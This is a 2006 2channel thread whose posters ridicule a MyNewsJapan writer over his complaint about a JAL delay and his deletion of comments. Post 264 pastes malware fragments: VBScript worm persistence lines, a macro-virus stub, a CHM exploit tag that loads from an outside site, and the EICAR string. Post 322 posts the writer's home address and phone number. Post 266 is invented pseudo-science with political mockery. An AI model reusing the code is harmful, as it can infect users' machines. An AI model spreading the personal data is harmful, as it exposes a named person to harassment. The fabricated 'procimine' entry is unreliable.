乗客の中の多くのひとは、45分遅れるという情報を得て、有意義に45分間という貴重な時間を大阪で過したことでしょう。
連絡がなければ、ぼーーーーっと、空港で待ってるだけだからね。

帰りの飛行機の客層をみて、乗客一人一人が、電話連絡で得をした
45分間をどのように過ごしたか。 それを想像して、記事にでもすれば、素晴らしい記事になるんだろうけど。

「現場に居る誰もが発信者です」ってのは、そういうことだわな



210 :今北産業2:2006/09/08(金) 18:11:17 ID:19vqXLMX0
さらにいうなら、JALから電話があったとき、
「遅れる原因は何ですか?」ということを、なぜ聞こうとしないのだ と小一時間問い詰めたい。

レイトチェックが出来るかどうか、調べてまた電話するといってるんだから、
「遅れる原因もきいといて」と言えば、情報が手に入る。
なのに、電話の電源をポチり。

遅れる原因が、機材のやりくりなのか、関空側にあるのか、羽田側にあるのか
わからんからね。

羽田は発着枠がギリギリだから、定時に羽田に降りられない事情があるなら、
関空の発車を遅らせるだろ。
電車なら、定時に発車させておいて、
「信号待ちです。前の列車がつかえてるので、しばらく停車します。
お急ぎのところ、ご迷惑をお掛けしますが、しばらくお待ち下さい」
とか言って、駅のないところで止まるけど、飛行機はそんなこと出来ない。

羽田の滑走路が混雑しております。このまま30分停車します。とかだと怖い。


結局、読者になんの情報も与えず、騒ぎまくってるだけ。


211 :今北産業2:2006/09/08(金) 18:31:58 ID:19vqXLMX0
ついでに書いておくけど、

JRグループ(というか国鉄時代から受け継いでいる)旅客営業規則(旅規)を
調べてる人だったら、こんなに騒がないだろうね。

列車の遅れや、運行休止、冷房の故障の際、迂回経路で目的地に達した時の運賃とか、
そんなことまで書いてあるし、そういうのを扱った本も出ている。

そういうのを調べて勉強してる人は、トラブルの際、どこまで補償されるかは、
知った上で旅行を楽しんでる。
ホント、遅れたとき、特急料金がタダになったり、半額になったりする程度で、
それ以外の補償は、ほとんどないんだから。

飛行機ってのは、50分程度の遅れで、記事にできるんだから、日本国民にとっては、まだまだ贅沢な乗り物なのでしょうね。




212 :DQN:2006/09/08(金) 18:32:39 ID:bAXyLuKK0
お子様が都合よい部分だけ抜き出して叫んでるだけだろ。

213 :B級アイドル:2006/09/08(金) 19:32:54 ID:T0J51YcK0
どうも、会員はほとんどいないみたいだな。
わざわざ、金払ってまで続き見たくないよな

214 :今北産業2:2006/09/08(金) 20:20:32 ID:19vqXLMX0
ブログ(無償)に書いてあるけど、MNJでは有料と思われる部分。

JALの電話の人
 「原則は全てノーですが、やむをえない場合は、サービス上の観点から、対応しています。
たとえば、乗り継ぎで、遅い乗客を待っていて出発が遅れた場合でも、
到着時に、公共交通機関がなくなっている時間でしたら、自宅までのタクシー代や、空港の駐車場の延長料金を、当社が負担することもあります」


結局は、規則の外での、便宜的な救済措置でしょう。


215 :靖国:2006/09/08(金) 20:28:32 ID:T0J51YcK0
同じような日記やら記事やらをあちこちに書いて、こんなんで金取ろうってのがおかしいな。
記事にしたところで日記以上のレベルにはなってないし。

216 :らいでん:2006/09/08(金) 21:07:54 ID:fA8q11vl0
hage

217 :靖国:2006/09/08(金) 21:20:23 ID:q3a23X9t0
石垣島マイル事件で、JALと決別したそうです
http://www.actiblog.com/watanabe/6855
マイルをその場でつけてくれず、郵送してくれといわれて激怒。
「そのような無駄な時間を使うくらいなら、マイルなど全くいらない。
私が郵送作業をする人件費のほうが間違いなく高いのだ。」
チケット半券送る暇はなくとも、徹夜でコメント削除する暇はある?


218 :ノーチラス:2006/09/08(金) 21:37:34 ID:AvXo7MPm0
つーかblogに載せてるなら1890円払う必要ないじゃんw

219 :今北産業2:2006/09/08(金) 21:41:36 ID:19vqXLMX0
>>217
人件費よりも間違いなく安い、マイルを貰えないからといってキレるライター。

利用する人が平等になるように、約款で決められている「払い戻し手数料」を、
ゴネまわして支払い拒否するあたり、約款だのなんだの、いうのおかしいな。

約款はなんのためにあるんだろ。 たった420円だろ。

「JALカードで決済してやってる」
してやってる
してやってる
してやってる
してやってる

たかだか、東京〜関空間ごときの安い路線での50分遅れで、
国際線ファーストクラスみたいな感覚になって、タクシー代をゴネまわすような
客に対する意識改革が、必要ですな。 日本が国際的に恥をかかないためにも。

タクシー代をせびるためにゴネまわすライターをお相手するための JALの人の人件費
 > タクシー代+迷惑的損失







220 :今北産業2:2006/09/08(金) 21:44:39 ID:19vqXLMX0
間違えた

タクシー代をせびるためにゴネまわすライターをお相手するための JALの人の人件費 + 迷惑的損失
 > タクシー代

タクシー代払ってお引き取り願うことが、損失を減らす最大の方法ってことかも


221 :不沈空母:2006/09/08(金) 21:45:37 ID:LHP3P6/A0
日経新聞相手に起こした訴訟では、完璧にに負けていた
控訴状
http://www5a.biglobe.ne.jp/~NKSUCKS/kosojo.htm
参考までに意見書
http://www5a.biglobe.ne.jp/~NKSUCKS/asanoikensho.htm

222 :ノーチラス:2006/09/08(金) 21:46:55 ID:AvXo7MPm0
>石垣島マイル事件
事件って程でもないのでは・・・
漏れの時は半券のFAX送って終わり、だったけど。

郵送にしても、着払い用の封筒(普通は元払い)をわざわざくれるんで、
ホントに入れて投函するだけなんだけどね

223 :不沈空母:2006/09/08(金) 21:57:23 ID:LHP3P6/A0
もう、最高裁の判決出ていた
http://www5a.biglobe.ne.jp-~NKSUCKS-kettei.jpeg

224 :日本海:2006/09/08(金) 22:00:28 ID:LHP3P6/A0
http://www5a.biglobe.ne.jp/~NKSUCKS/
こちらからどうぞ

225 :原因不明:2006/09/08(金) 22:39:43 ID:T0J51YcK0
自分のサイトを消せって言われて日経ともめて処分されて裁判起こしたってことか。

その割には、人のコメント消すのには抵抗がないんだなw

226 :貧困層:2006/09/08(金) 23:31:06 ID:T0J51YcK0
ホントに儲かってんの?

227 :ありえん!:2006/09/08(金) 23:43:21 ID:w8v08TgJ0
>>224

これ読む限り、まともな事も言ってるようだが、都合の悪いコメント消しまくってる時点で、全てが偽善に見えてしようがない。



228 :ありえん!:2006/09/08(金) 23:48:59 ID:w8v08TgJ0
楽天で浄水器売ってた同一と思える会社、あれ見つからんけど、どこ行った?



229 :携帯厨:2006/09/08(金) 23:54:07 ID:p/jiphWDO
オマンコニュースの方かとオモタ

230 :ありえん!:2006/09/09(土) 00:03:40 ID:thHaIFcn0
こっちの記事では、記者がコメント書いてるよ。
http://www.mynewsjapan.com/kobetsu.jsp?sn=497

記事内容は大したこと無いが、反論もせずに勝手に消しまくるナベに
比べれば、ネ申に見える。


231 : ◆l8A/No6666 :2006/09/09(土) 00:12:34 ID:5IYKEnWY0 ?BRZ(4351)
新幹線と比較して何になるというの?
余裕を持って出ればいいことだろう。
ただゴネてるクレーマーじゃない。
この手の奴は言いやすいところにしか言わないんだよね。

232 :てすと:2006/09/09(土) 00:18:25 ID:VAQM/7Kg0
【利用料金について】
 利用料金は1ヶ月当たり1,890円(消費税込み)です。
 具体的な計算方法は以下の通りです。

  ■計算方法
    ある月の一時期に会員になっている場合には、当該月の利用料金が請求されます。
   (例)
    4月1日に会員登録した場合・・・4月分の利用料金として1,890円が請求されます。
    4月30日に会員登録した場合・・・4月分の利用料金として1,890円が請求されます。

233 :友達できたか?:2006/09/09(土) 00:30:53 ID:GGglE5JE0
ブログは適当に編集してあるみたいで、冒頭の部分はいきなり「式場」がでてきて、
このブログだけ読むと話しのつながりが判りにくいな。

234 :すっぽんぽん:2006/09/09(土) 00:35:55 ID:xavryyQd0
sage無くていいよ。もったいない

235 :友達できたか?:2006/09/09(土) 00:49:18 ID:GGglE5JE0
んじゃsageん。

6/4にJALと決別してANAに鞍替えしたはずなのに、7/15にまたJAL使ってるのは
どういうことなんだろうね?JALの不利用運動期待してたんじゃないのw

もうちょっと余裕を見て一本前のANAにしておけばねぇ

236 :すっぽんぽん:2006/09/09(土) 00:53:08 ID:xavryyQd0
実は元からクレームつける気満々で乗ったとか。

ナベちゃん計算高い!!

237 :ありえん!:2006/09/09(土) 01:08:37 ID:thHaIFcn0
ついでに、それで記事書いて、削除しまくって、炎上させて、
LDにニュースにされ、注目集めるって全部計算づくのすんぽうか?


238 :マラカス:2006/09/09(土) 01:18:10 ID:xavryyQd0
株式上場の為のネタ作り。

239 :惑星衝突:2006/09/09(土) 02:38:00 ID:xavryyQd0
提起上げ

つか、中々削除されないねぇ。

さすがに疲れたのかな渡辺ちゃん。

240 :惑星衝突:2006/09/09(土) 02:42:45 ID:xavryyQd0
あ、消されたwwww

241 :イケメン:2006/09/09(土) 03:30:59 ID:UhFUHvEN0
これって毎週金曜日の奴らが運営してるんだろ?

242 :地震だー:2006/09/09(土) 03:35:27 ID:xavryyQd0
え。なにそれなにそれー


243 :地震だー:2006/09/09(土) 03:51:31 ID:xavryyQd0
ハイ削除w

244 :安産:2006/09/09(土) 03:56:13 ID:GGglE5JE0
6/5@那覇
>私は泣き寝入りをしない消費者なので、ここ2週間でも、ホテル
>側のミスで自分がダメージを受けたときには、何らかの形で埋め合わせ
>をさせている。

やっぱりクレーマーだよ、この人…

http://www.mynewsjapan.com/kobetsu.jsp?sn=427

あと、煙が上にのぼることを考えたら、喫煙ルームを上層階に置くのは
合理的だと思う漏れはDQN?



245 :安産:2006/09/09(土) 03:58:49 ID:GGglE5JE0
あ、自ら「クレーマーになる」って宣言してたわw

246 :ネット弁慶:2006/09/09(土) 04:00:18 ID:xavryyQd0
>東横インに泊る。さすが、と思ったのは、12階建で、12〜7階が喫煙ルーム、6階〜2階が禁煙ルーム。どちらも同じ値段である。喫煙者を優先するあたりが、障害者ルームを偽造した企業姿勢を象徴している、という訳である。

すげぇゴネ方だな・・・

こうなると、世の中の企業が何をしても納得いかないんだろ・・・

247 :未確認情報:2006/09/09(土) 04:01:06 ID:Ia4DFANd0
このおっさんの言ってることは、多少無理があるが、気持ちは分かる。
ただ、コメントを消すぐらいだったら最初から用意しない方がいいんじゃないの?

248 :ネット弁慶:2006/09/09(土) 04:03:08 ID:xavryyQd0
これ、もうやってる事はヤクザと変わらないよね。

ネットでギャーギャー騒ぐだけヤクザよりタチ悪いかも。

249 :ネット弁慶:2006/09/09(土) 04:13:19 ID:xavryyQd0
なんか、ここまでやる奴見るとさすがに引くわ。

接客業の人は気をつけなきゃ・・・・

250 :家内安全:2006/09/09(土) 04:24:34 ID:GGglE5JE0
>羽田管制トラブル、利用者に補償なし

http://www.mynewsjapan.com/kobetsu.jsp?sn=316

どうしても飛行機の遅延が許せない、もとい遅延で補償を貰いたいみたいね。

長野新幹線で遅延払い戻しを自分がうけられなかったのが口惜しいんだろうな。
でも、新幹線が2時間以上遅れることは滅多に無いから、飛行機に目を
つけたんジャマイカ。



251 :ネット弁慶:2006/09/09(土) 04:30:44 ID:xavryyQd0
すげぇ。次から次に・・・

タダの恨みがあるとしか思えない。。

252 :ほげー:2006/09/09(土) 07:40:25 ID:QJ+Hbb8i0
また消された。。。
いつまで続くか、これからどういう展開になるのか?
がんばってね、「新しいメディア」の代表さん!



253 :そんなばなな:2006/09/09(土) 07:53:46 ID:1VYOjQNW0
まあ、オレ飛行機あんまり利用しないし、今まで乗ったときに
遅れってほとんどなかったんで、実際こんな風に遅延が続けばムカつくかもしれない。

ただ、それと遅延賠償を求めるかどうかってのはまた別だし、自分でこういったサイト
を運営しておきながら、都合の悪い書き込みだけを削除するってのはいかんね。

あと、この会員にならなきゃ全文を読ませてやんない、みたいな態度はいただけない。

254 :今北産業2:2006/09/09(土) 07:57:53 ID:up8b5Akv0
まさに、謝罪と賠償を要求しる! のために活動してるようなものだな。
謝罪と賠償はメシのタネ!
謝罪と賠償は全員参加の市民運動!

謝罪と賠償を要求汁!という、いわゆる賠償汁、要求汁のうまさが、
多くの読者を引きつけ、多くの市民の団結力を生み出す。
そして、自分が指導者になる。 汁こそが、元気の源ってことか。


なぜ、ライブドアが、なぜ、こんなところのニュース配信してるのか
わからんな。 さっさと契約破棄すればいいのに。


255 :日本海:2006/09/09(土) 08:00:29 ID:qGxamd430
--いま、約款を見ているのですが、どういう場合に補償するのですか?

ここからが読者も注目する所なのに有料って・・・。
商売上手ですね


256 :やらないか:2006/09/09(土) 08:06:39 ID:ACd0/79h0 ?BRZ(1306)
消されたかけされてないかをみて
消されていれば同一の内容を投稿するスクリプトでも組めば?



257 :今北産業2:2006/09/09(土) 08:12:13 ID:up8b5Akv0
>>255

 その注目する部分は、無料のブログにかいてあるよ。
 それを知りたくて、有料に入ったヤツは、バカを見る仕組みになっている。
 

 約款では

「原則は全てノーですが、やむをえない場合は、サービス上の観点から、対応しています。
たとえば、乗り継ぎで、遅い乗客を待っていて出発が遅れた場合でも、
到着時に、公共交通機関がなくなっている時間でしたら、自宅までのタクシー代や、空港の駐車場の延長料金を、
当社が負担することもあります

 とある。
 約款では、対象外の便宜上のサービスであるであることを、無料会員には知らせず
有料会員には知らせる。
便宜上のサービスを必要以上に受けているにもかかわらず、無料会員にはそれを知らせず、
謝罪と賠償を要求しる! といたずらに騒ぎ立てる。
有料になれば、なんだこれ、JALってマトモじゃん。 ライターはアホじゃん。 ってことになる。

258 :おにいちゃん:2006/09/09(土) 08:17:38 ID:z1lbmrJEO
このスレが伸びないのは長文書いてる奴が必死すぎてキモイから

259 :今北産業2:2006/09/09(土) 08:22:01 ID:up8b5Akv0
そろそろ消えるわ! じゃぁな。 オマエら、元気でスレのばせよ!


260 :ほげー:2006/09/09(土) 08:23:51 ID:QJ+Hbb8i0
渡邉さんの心中は、どうなのだろう?
記事をアップしたときは、怒り心頭になっていて、
自分の記事を正当と思っていたけど、
時間がたって&いろいろなコメントを見て、
「やっぱり、まずかったかな? どうやって収束させよう。
コメント欄を記載不可にするのは、負けを認めたみたいでいやだし、
でも、どうしよう?」
って、思っているのかな?

それとも、相変わらず、自分は正義と思っているのかなぁ。


261 :北海:2006/09/09(土) 08:34:14 ID:q7VX1OSK0
my news japanの攻撃性は異常
記事の大半がイチャモン
ヤクザかこいつら

262 :ありえん!:2006/09/09(土) 09:47:50 ID:thHaIFcn0
>>260

コメントの削除は今に始まった事じゃないぞ。
他の記事も見てみ。トップページのコメント数との差=消された数。


263 :団塊世代:2006/09/09(土) 09:48:00 ID:GGglE5JE0
タクシーチケットや、レイトチェックアウトなどのクレームの成果が
トラブルに対する補償であるならば、もはやそのトラブルに関して
とやかく言う資格はないんじゃないだろうか?

補償してもしなくても文句言われるんだったら、補償したくなくなる罠。

264 :東海:2006/09/09(土) 09:48:24 ID:wGh6A4FE0
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
"avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash"
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
???????


265 :因果応報:2006/09/09(土) 09:55:11 ID:J/TwgHgp0
↑なにコレ?↑

266 :司法浪人:2006/09/09(土) 10:03:59 ID:oKD6+sLI0
プロシミン (procimine)   (CH2(COHG2)CH2CH(COPU)NH2)

アミノ酸の一種でアミノプロシミルアミド酸のこと。スペルはprocimine。略号はAka。
亜酸化水分解によりプロシミン酸となる。主に東アジアの大陸部に生息する中等動物の脳内分泌液に多いといわれる。

1929年、治安維持法制定後多くの共産主義者が逮捕されたが、中には冤罪で捕らえられた者も多く、警察は
頭を悩ませていた。そんな中、東京帝国大学医学部教授、赤井邦道氏が拷問で死亡した共産主義者の脳を
解剖し、その思考回路を研究したところ、左脳に未知の脳内ホルモンが多く分泌されていることを発見した。
このホルモンはどうやら論理的思考プロセス形成を妨害する作用があるらしく、そのことから「プロシミン」と
命名された。警察はプロシミン分泌量を調べることで罪の有無を判断できるようになった。

プロシミンが分泌されるメカニズムは現在も不明であるが、症状として、

  ・論理的思考ができなくなる
  ・体制の中や集団での生活に支障をきたす
  ・「地上の楽園」なるものを信じている
  ・「9」という数字を異常に神聖視している
  ・拳法などの武術に対し拒絶反応を示す

などがある。戦後登場した「プロ市民」の語源は、元々プロシミンによる症状が悪化した人間の暗喩であったことは
言うまでもない。プロ市民が憲法9条改正に反対しているのもこの症状が原因である。

余談ではあるが、過去に学校で「9」という数字が机を使って描かれていた事件があった。
これはプロシミン重症患者の仕業だと言われている。

267 :夜釣りですか?:2006/09/09(土) 10:06:51 ID:HQBpcqr90
そもそも、神戸に行くのに飛行機で行くのがおかしいんだよ。
新幹線の方が、よっぽど早いし安い。
クレームつけたくてしょうがないんだな。

268 :てすと:2006/09/09(土) 10:34:24 ID:j9Ae6ZHS0
いま書いたばかりだけど、消されるか?

超汚染人 10:32 09/09 2006
謝罪と賠償を要求するニダの
なべちゃんは、同胞ニダ

なんだかんだ 10:24 09/09 2006
言っても、ナベちゃんはまたJALを利用すると思うよ。
ネタになるし、たかれるし。。


    10:22 09/09 2006
どんだけ暇なんだよw

あ 10:20 09/09 2006
多くの読者は、15分ごとのリムジンバスを選択したとは思わず、
公共交通機関が無くなる最終便が延着かのような、重大な延着のような印象を受けてしまう点
「到着が遅れた深夜になった時、ホテル代・タクシー代を補填する」
そのケースと今回のケース(15分ごとのリムジンを放棄)は、 全く同じケースであるかのように、JAL側に詰め寄ってます。 あきらかな、トリックです。


269 :不沈空母:2006/09/09(土) 11:22:42 ID:93/MgxnV0
>>267
東海道新幹線はほとんど割引がない。安くてマイル一番がたまる関空便を選んだと思われ

270 :オートマ限定:2006/09/09(土) 11:25:35 ID:KN+L5zW40
言論統制以外の何者でもないな
Vフォー・ヴェンデッタの出番だなコリャ

271 :番組の途中ですが名無しです:2006/09/09(土) 11:27:32 ID:vF78ExT50
つかもろスパムの餌食じゃん

272 :惑星衝突:2006/09/09(土) 11:28:01 ID:PWQ5Ug5e0
バスが遅れても文句言いそうだなw

273 :日本海:2006/09/09(土) 12:25:44 ID:93/MgxnV0
>仕方なくタクシーでホテルに向かったら、高速代など含め約22,000円だった。
>大阪のタクシーは長距離割引があるが、神戸にはなく、異様に高く感じる。
>初乗り660円と東京と同じだが、感覚的には東京よりメーターの上がり方が速いような気がした。
よく考えるとそもそも、神戸からではなく関空からタクシーに乗ったのなら、
関空の客待ちタクシーに神戸のタクシーがいるわけがない。
領収書UPされていないことから考えても、タクシー乗ったというのはウソだろう

274 :ウプレカス:2006/09/09(土) 12:32:30 ID:QJ+Hbb8i0
>>273
座布団1枚!


275 :やらないか:2006/09/09(土) 12:36:53 ID:wbfTMDxV0
漏れも書いたが
消された
なので、また書いた

276 :ベンジャミン:2006/09/09(土) 12:39:35 ID:Y7OXJYnJ0
>>273

つ〜か
http://www.kansai-airport.or.jp/access/taxi.htm
のまんまだ


277 :ありえん!:2006/09/09(土) 13:47:38 ID:thHaIFcn0
>>273

をぉ、新たなファクトだ!

FAQより:
記事の関連情報や新たなファクトを提示し、読者の利益に適うものとなるよう心掛けてください。


278 :座布団一枚:2006/09/09(土) 14:08:11 ID:xavryyQd0
今北産業2!!

待たれい!!

一緒に戦ってきたじゃないか。去るでない!もどってこい!!

279 :ムーンベース:2006/09/09(土) 15:51:24 ID:ktbACNyj0
削除北。

280 :暴落:2006/09/09(土) 16:00:37 ID:ktbACNyj0
http://megalodon.jp/?url=http%3A%2F%2Fwww.mynewsjapan.com%2Fkobetsu.jsp%3Fsn%3D456+&go=%E5%8F%96%E5%BE%97

一応、コレまでのキャッシュ

281 :急騰:2006/09/09(土) 17:03:51 ID:ktbACNyj0
落ちてはヤダよ。

282 :ドル安:2006/09/09(土) 19:35:41 ID:ktbACNyj0
おっこちるよ。

新しいネタこないかな〜〜

283 :国選弁護士:2006/09/09(土) 19:47:11 ID:FL53tnB00
マイニュースジャパンってオーマイニュースジャパンと違うのか?

284 :独立記念日:2006/09/09(土) 20:17:43 ID:ktbACNyj0
お前が言うなニュース
おーまいにゅーす

俺様ニュース
まいにゅーす

285 :夜釣りですか?:2006/09/09(土) 20:24:56 ID:GGglE5JE0
>>273
万が一神戸のタクシーが関空にいたとしても、それに乗ることになったら、

「なぜ大阪のタクシーは長距離割引があるのに、このタクシーは割引が無いんだ!
私は大阪にあるタクシー乗り場の列に並んだのに、たまたまこのタクシーに
あたった。私に選択権は無かった!不公平だ!補償汁!」

とか言いそうだよなw

286 :夏厨:2006/09/09(土) 20:33:12 ID:Y7OXJYnJ0
>>285

タクシーにはナンバープレートが付いてるから、ふつうはわかる


287 :独立記念日:2006/09/09(土) 20:34:35 ID:ktbACNyj0
飛行機が遅れる事すら頭に浮かばない人だからなぁ・・・

288 :あそびにん:2006/09/09(土) 20:36:29 ID:hVi9KUOo0
>渡邉正裕

イラク行った馬鹿?

289 :夜釣りですか?:2006/09/09(土) 20:37:21 ID:GGglE5JE0
>>286
普通はな。

「俺は急いでいるんだ。なぜ大阪のタクシーに乗る為に次の人に
一台譲らなきゃならないんだ!補償汁!」

って言いそう。



290 :どれどれ:2006/09/09(土) 20:37:37 ID:Biw/OFga0
パクられるとはオーマイもなかなかやるな

291 :夜釣りですか?:2006/09/09(土) 20:46:16 ID:GGglE5JE0
帰りの羽田・赤坂のタクシーチケットをねだった理由は、
「今日の仕事を潰されてしまったので」なんだけど、
JALは搭乗予定便が遅れることが判っていたから、伊丹からの
便への振替えを提案して、羽田に時間通りに付けるような提案を
した訳でしょ?

で、もともと正午まで寝る予定だったんだから、潰された仕事
ってのは午前中じゃなくて、帰ってきてから赤坂の事務所でする
予定だった仕事だよね?

てことは、JALの提案通りにしていれば、余計な費用出さずに
(関空・伊丹分はJALも出すだろう)仕事に間に合っていたんだよね?

でも、自分の意思で45分遅延する便に乗ることを選択しておいて、
「仕事に間に合わない」とか、「仕事を潰された」っていう主張は
一般常識として成立しないよね?



292 :独立記念日:2006/09/09(土) 20:47:28 ID:ktbACNyj0
しません☆

一般常識が通用しない人=ナベちゃん

293 :夏厨:2006/09/09(土) 20:48:28 ID:Y7OXJYnJ0
ところで、大阪のタクシーは全部長距離割引がある?
それとも、長距離割引をやるタクシー会社がある?
関空は泉南だから和歌山のタクシーもいるかもな。

294 :原因不明:2006/09/09(土) 22:25:35 ID:93/MgxnV0
http://www.mynewsjapan.com/kobetsu.jsp?sn=427
「私とて、好きであの偽造社長がいる東横インに泊っている訳ではないのに、他があまりにもお粗末で選択肢が本当にないのだ。」
単に貧乏なだけだと思う

295 :貧困層:2006/09/09(土) 22:27:42 ID:xPyS/s8w0
ここまで書かれてもう反論できないよな。
まぁ、コメント消すだけで反論なんてする気ないんだろうけどさ。

296 :記者会見:2006/09/09(土) 22:55:01 ID:ktbACNyj0
キティです。

297 :猫娘:2006/09/09(土) 23:07:01 ID:Txf3VQ5D0
意地になって、コメント削除のみで対処してるところが、完全にあほのガキだな。

適当なところで、書き込み規制で終結させるつもりなんだろうが、
すでにむこうの別のスレにも飛び火が始まっており、
それじゃ済まない状況だってのがわかってないようだな。

それとも、赤字サイトなどいつ閉めてもかまわないと思ってるのか?

298 :質疑応答:2006/09/09(土) 23:52:08 ID:ktbACNyj0
コメントがコントになってきたなw

299 :どれどれ:2006/09/09(土) 23:54:54 ID:GGglE5JE0
掲示板の禁止事項に、

・ロジックがなく、単なる感情のはき捨てや思い込みで読者や記者を不愉快にさせる行為

とあるが、記事自体これに抵触(ry

300 :質疑応答:2006/09/09(土) 23:57:19 ID:ktbACNyj0
存在が悪だ

301 :ワーキングプア:2006/09/10(日) 00:06:29 ID:Fb/s3pnC0
>>299
これオモロイ。
使わせてもらいます。

302 :番組の途中ですが名無しです:2006/09/10(日) 00:07:53 ID:+OYJhzYC0
ねー!!

いい事思いついた!!

この批判をさぁ、マイニュースで記事にしては如何だろうか!!!

でも、記事も検閲されるのかなぁ????

2ちゃんねるの皆さんはどう思いますか??

303 :咸臨丸:2006/09/10(日) 00:08:34 ID:UNdbvjNn0
結局は乗ってもいないタクシー(関空から乗っているのに神戸のタクシーといっている矛盾)
代金22000円(関西国際空港タクシー運営協議会の目安のパクリ)を脅し取ろうとして失敗。
成功していたら、詐欺で逮捕された可能性が高い・・・
おお、ラッキー


304 :急騰:2006/09/10(日) 00:20:35 ID:DcZ58V6a0
>>302
いい考えだが、ここで書くのは無料なのか?
金払ってまでこんなとこで書きたくないな。

いっそ、本家(?)のオーマイニュースあたりがいいんじゃない?

305 :ありえん!:2006/09/10(日) 01:02:14 ID:GiLt7pKM0
他の記事もナベちゃんが消してるのか?

http://www.mynewsjapan.com/kobetsu.jsp?sn=499

どうも、監視はJALの記事だけでは足りんようだな。


306 :ありえん!:2006/09/10(日) 01:06:06 ID:GiLt7pKM0
>>304

>>236-238 が図星なら、ナベの思うつぼだな。



307 :急騰:2006/09/10(日) 01:16:47 ID:XvTRL2Ue0
ライブドアに苦情のメール出されるのが痛いんじゃないかなあ

308 :大物:2006/09/10(日) 01:21:10 ID:dni/GfIZ0
豚にコンビニ弁当

原文がどう変化してるか
http://www.asyura2.com/0505/health10/msg/421.html


309 :人生オワタ\(^o^)/:2006/09/10(日) 01:58:00 ID:+OYJhzYC0
いつもならもうソロソロ消される時間帯だが・・・

310 :アラストル:2006/09/10(日) 01:59:25 ID:WugSxJWt0
ま、企業なりを改善するために批判する人みたいだから、
自分が批判されるのはウェルカムなんじゃねーの?

311 :紫電改:2006/09/10(日) 02:00:28 ID:+OYJhzYC0
批判するけど批判されるのは嫌だ!

みたいな?

312 :ありえん!:2006/09/10(日) 02:03:42 ID:GiLt7pKM0
MNJの一般記者さん、

原稿料いくらもらってるの?
PJかオーマイに鞍替えしたら?
ニャンニャンニャンのツカサもあるよ。


313 :ろくでなし:2006/09/10(日) 02:03:48 ID:j3XFkh2F0
不公平だけど受け取ってるんだw
ツッコまれないと思って書いたんだとしたら、迂闊すぎだな

314 :ありえん!:2006/09/10(日) 02:16:27 ID:GiLt7pKM0
記者登録時の規約より

【自己責任の原則】
1 記者は、記者によるサービスの利用とそのサービスを利用してなされた一切の行為(前条により、記者による利用または行為とみなされる他者の利用や行為を含みます。以下同様とします。)とその結果について一切の責任を負います。
2 記者は、サービスの利用に伴い、他者(国内外を問いません。また、記者に限りません。以下同様とします。)から問合せ、クレーム等が通知された場合は、自己の責任と費用をもって処理解決するものとします。
3 記者は、他者の行為に対する要望、疑問もしくはクレームがある場合は、当該他者に対し、直接その旨を通知するものとし、その結果については、自己の責任と費用をもって処理解決するものとします。
4 記者は、サービスの利用により当社または他者に対して損害を与えた場合(記者が、この記者規約上の義務を履行しないことにより他者または当社が損害を被った場合を含みます。)、自己の責任と費用をもって損害を賠償するものとします。

ということは、他の記者の記事は、ナベが勝手にコメントを削除してはいけないことになるな。


315 :天然記念物:2006/09/10(日) 03:45:05 ID:R/CMUUfJ0
世の中の決まりごとが分からないみたいだしー 笑

316 :リンクを辿って来た者:2006/09/10(日) 03:51:19 ID:TrCJN0gl0
確かにMyNewsJapanには、安易なコメント削除など問題もあるけど、
彼なりに一生懸命頑張ってる点は評価するね。
折角、一般の人でも記事を投稿出来るサイトが出来たんだから、
皆さんも、記事を書いて投稿してみては?
社会の不条理に対する不満や主張したいことがあるでしょう?


317 :天然記念物:2006/09/10(日) 03:59:00 ID:R/CMUUfJ0
1900円も払う価値がNAI!!

318 :番組の途中ですが名無しです:2006/09/10(日) 03:59:33 ID:7r1evpa/0
>>316
がんばってる方向性については疑問を感じないの?きみ大丈夫?


319 :VIPでやれ:2006/09/10(日) 04:09:37 ID:R/CMUUfJ0
タダのクレーまー。

ヤクザよりたちが悪い。

とりあえず、自分の気に入らない事をでっかく取り上げギャーギャー騒ぐ独りよがりな困ったチャン。
サービス業に付け込み、恐喝を。

上の方では詐欺も働いてるとか。

これが、彼の方向性。

320 :VIPでやれ:2006/09/10(日) 04:55:43 ID:R/CMUUfJ0
はい、削除きた。

321 :VIPでやれ:2006/09/10(日) 04:59:13 ID:R/CMUUfJ0
しかも、違う飛び火した記事のコメントも勝手に削除してるっぽい。

322 :どっかんターボ:2006/09/10(日) 05:05:15 ID:giEVN3wO0
Domain name: MYNEWSJAPAN.COM

Administrative Contact:
WATANABE, Masahiro masa@mynewsjapan.com
1-9-4-1004
shinjuku
shinjuku-ku, tokyo 160-0022
JP
+81-3-5367-1713 Fax: +81-3-5367-1714

Technical Contact:
WATANABE, Masahiro masa@mynewsjapan.com
1-9-4-1004
shinjuku
shinjuku-ku, tokyo 160-0022
JP
+81-3-5367-1713 Fax: +81-3-5367-1714

323 :コピー貼っていい?:2006/09/10(日) 07:08:48 ID:TrCJN0gl0

みなさんのために、紹介します。

※使用方法

あなたの会社や個人が2ちゃんねるで誹謗中傷されていれば、下記の名簿を
スレッドに貼り付けしてください。するとあ〜ら不思議、2ちゃんねる掲示板の
貴方やその企業を誹謗中傷するそのスレッドの書きこみはピタリととまります。
規制をかけてきたり、しつこい場合は、他のMLや掲示板に貼り付け
2ちゃんねるにリンクしてあげましょう。すると不思議とそのスレは、
闇から闇へと葬られていきます(笑)

2ちゃんねるの誹謗中傷スレッドを止める秘密の御札

